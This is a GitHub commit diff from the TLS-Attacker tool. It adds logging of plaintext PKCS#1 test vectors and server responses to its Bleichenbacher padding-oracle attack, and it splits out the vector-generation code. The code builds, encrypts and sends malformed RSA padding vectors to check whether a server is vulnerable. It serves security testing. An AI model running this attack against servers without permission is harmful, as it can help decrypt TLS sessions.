Skip to content

Commit 91da459

Browse files
Added some helpful messages to Bleichenbacher attack output
1 parent 8902a00 commit 91da459

File tree

2 files changed

+39
-17
lines changed

2 files changed

+39
-17
lines changed

Attacks/src/main/java/de/rub/nds/tlsattacker/attacks/impl/BleichenbacherAttacker.java

Lines changed: 6 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -10,6 +10,7 @@
1010

1111
import de.rub.nds.modifiablevariable.bytearray.ByteArrayModificationFactory;
1212
import de.rub.nds.modifiablevariable.bytearray.ModifiableByteArray;
13+
import de.rub.nds.modifiablevariable.util.ArrayConverter;
1314
import de.rub.nds.tlsattacker.attacks.config.BleichenbacherCommandConfig;
1415
import de.rub.nds.tlsattacker.attacks.pkcs1.PKCS1VectorGenerator;
1516
import de.rub.nds.tlsattacker.core.config.Config;
@@ -87,14 +88,17 @@ public Boolean isVulnerable() {
8788

8889
List<ProtocolMessage> protocolMessages = new LinkedList<>();
8990
byte[][] vectors = PKCS1VectorGenerator.generatePkcs1Vectors(publicKey, config.getType());
91+
byte[][] plainVectors = PKCS1VectorGenerator.generatePlainPkcs1Vectors(publicKey, config.getType());
9092
for (byte[] vector : vectors) {
9193
ProtocolMessage pm = executeTlsFlow(vector);
9294
protocolMessages.add(pm);
9395
}
9496

9597
LOGGER.info("The following list of protocol messages was found (the last protocol message in the client-server communication):");
96-
for (ProtocolMessage pm : protocolMessages) {
97-
LOGGER.info("Sent Type: {}", pm.getProtocolMessageType());
98+
for (int i = 0; i < protocolMessages.size(); i++) {
99+
ProtocolMessage pm = protocolMessages.get(i);
100+
LOGGER.info("Tested vector: {}", ArrayConverter.bytesToHexString(plainVectors[i]));
101+
LOGGER.info("Last server TLS message: {}", pm.getProtocolMessageType());
98102
if (pm.getProtocolMessageType() == ProtocolMessageType.ALERT) {
99103
AlertMessage alert = (AlertMessage) pm;
100104
AlertDescription ad = AlertDescription.getAlertDescription(alert.getDescription().getValue());

Attacks/src/main/java/de/rub/nds/tlsattacker/attacks/pkcs1/PKCS1VectorGenerator.java

Lines changed: 33 additions & 15 deletions
Original file line numberDiff line numberDiff line change
@@ -43,6 +43,38 @@ public class PKCS1VectorGenerator {
4343
*/
4444
public static byte[][] generatePkcs1Vectors(RSAPublicKey publicKey, BleichenbacherCommandConfig.Type type) {
4545

46+
// compute the number of all vectors that are being generated
47+
int rsaKeyLength = publicKey.getModulus().bitLength() / 8;
48+
int vectorSize = STATIC_VECTOR_SIZE;
49+
if (type == BleichenbacherCommandConfig.Type.FULL) {
50+
vectorSize += rsaKeyLength - 2;
51+
}
52+
byte[][] plainPaddedKeys = generatePlainPkcs1Vectors(publicKey, type);
53+
54+
try {
55+
Cipher rsa = Cipher.getInstance("RSA/NONE/NoPadding");
56+
rsa.init(Cipher.ENCRYPT_MODE, publicKey);
57+
byte[][] encryptedKeys = new byte[vectorSize][];
58+
// encrypt all the padded keys
59+
for (int i = 0; i < encryptedKeys.length; i++) {
60+
encryptedKeys[i] = rsa.doFinal(plainPaddedKeys[i]);
61+
}
62+
63+
return encryptedKeys;
64+
} catch (BadPaddingException | IllegalBlockSizeException | InvalidKeyException | NoSuchAlgorithmException
65+
| NoSuchPaddingException ex) {
66+
throw new ConfigurationException("The different PKCS#1 attack vectors could not be generated.", ex);
67+
}
68+
}
69+
70+
/**
71+
* Generates different plain PKCS1 vectors
72+
*
73+
* @param publicKey
74+
* @param type
75+
* @return
76+
*/
77+
public static byte[][] generatePlainPkcs1Vectors(RSAPublicKey publicKey, BleichenbacherCommandConfig.Type type) {
4678
// we do not need secure random here
4779
Random random = new Random();
4880
byte[] keyBytes = new byte[HandshakeByteLength.PREMASTER_SECRET];
@@ -74,21 +106,7 @@ public static byte[][] generatePkcs1Vectors(RSAPublicKey publicKey, Bleichenbach
74106
byte[][] additionalPaddedKeys = getEK_DifferentPositionsOf0x00(rsaKeyLength, keyBytes);
75107
System.arraycopy(additionalPaddedKeys, 0, plainPaddedKeys, STATIC_VECTOR_SIZE, additionalPaddedKeys.length);
76108
}
77-
78-
try {
79-
Cipher rsa = Cipher.getInstance("RSA/NONE/NoPadding");
80-
rsa.init(Cipher.ENCRYPT_MODE, publicKey);
81-
byte[][] encryptedKeys = new byte[vectorSize][];
82-
// encrypt all the padded keys
83-
for (int i = 0; i < encryptedKeys.length; i++) {
84-
encryptedKeys[i] = rsa.doFinal(plainPaddedKeys[i]);
85-
}
86-
87-
return encryptedKeys;
88-
} catch (BadPaddingException | IllegalBlockSizeException | InvalidKeyException | NoSuchAlgorithmException
89-
| NoSuchPaddingException ex) {
90-
throw new ConfigurationException("The different PKCS#1 attack vectors could not be generated.", ex);
91-
}
109+
return plainPaddedKeys;
92110
}
93111

94112
/**

0 commit comments

Comments
 (0)